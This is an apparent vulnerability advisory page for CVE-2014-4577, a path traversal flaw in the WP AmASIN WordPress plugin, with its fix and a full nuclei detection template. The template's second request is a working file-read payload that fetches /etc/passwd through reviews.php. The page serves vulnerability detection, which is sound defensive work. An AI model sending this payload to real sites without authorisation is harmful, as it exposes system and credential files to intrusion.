WP AmASIN – The Amazon Affiliate Shop - Local File Inclusion

mediumseverity

5CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Absolute path traversal vulnerability in reviews.php in the WP AmASIN - The Amazon Affiliate Shop plugin 0.9.6 and earlier for WordPress allows remote attackers to read arbitrary files via a full pathname in the url parameter.

Impact

Attackers can read arbitrary files including configuration files, database credentials, and sensitive system files, potentially leading to complete site compromise.

Fix

Update to version 0.9.7 or later, or remove the plugin if no longer maintained.

How to confirm it

Send: GET /
Positive when: contains(body,"/wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/") and status_code == 200
Send: GET /wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/reviews.php?url=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-4577 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-4577

info:
  name: WP AmASIN – The Amazon Affiliate Shop - Local File Inclusion
  author: DhiyaneshDK
  severity: medium
  description: |
    Absolute path traversal vulnerability in reviews.php in the WP AmASIN - The Amazon Affiliate Shop plugin 0.9.6 and earlier for WordPress allows remote attackers to read arbitrary files via a full pathname in the url parameter.
  impact: |
    Attackers can read arbitrary files including configuration files, database credentials, and sensitive system files, potentially leading to complete site compromise.
  remediation: |
    Update to version 0.9.7 or later, or remove the plugin if no longer maintained.
  reference:
    - https://codevigilant.com/disclosure/wp-plugin-wp-amasin-the-amazon-affiliate-shop-local-file-inclusion/
    - https://wpscan.com/plugin/wp-amasin-the-amazon-affiliate-shop/
    - https://github.com/superlink996/chunqiuyunjingbachang
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4577
    cwe-id: CWE-22
    epss-score: 0.03749
    epss-percentile: 0.89965
    cpe: cpe:2.3:a:websupporter:wp_amasin_-_the_amazon_affiliate_shop:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: websupporter
    product: wp_amasin_-_the_amazon_affiliate_shop
    framework: wordpress
    publicwww-query: "/wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/"
  tags: cve,cve2014,wordpress,wpscan,wp-plugin,lfi,wp,wp-amasin-the-amazon-affiliate-shop,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/reviews.php?url=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from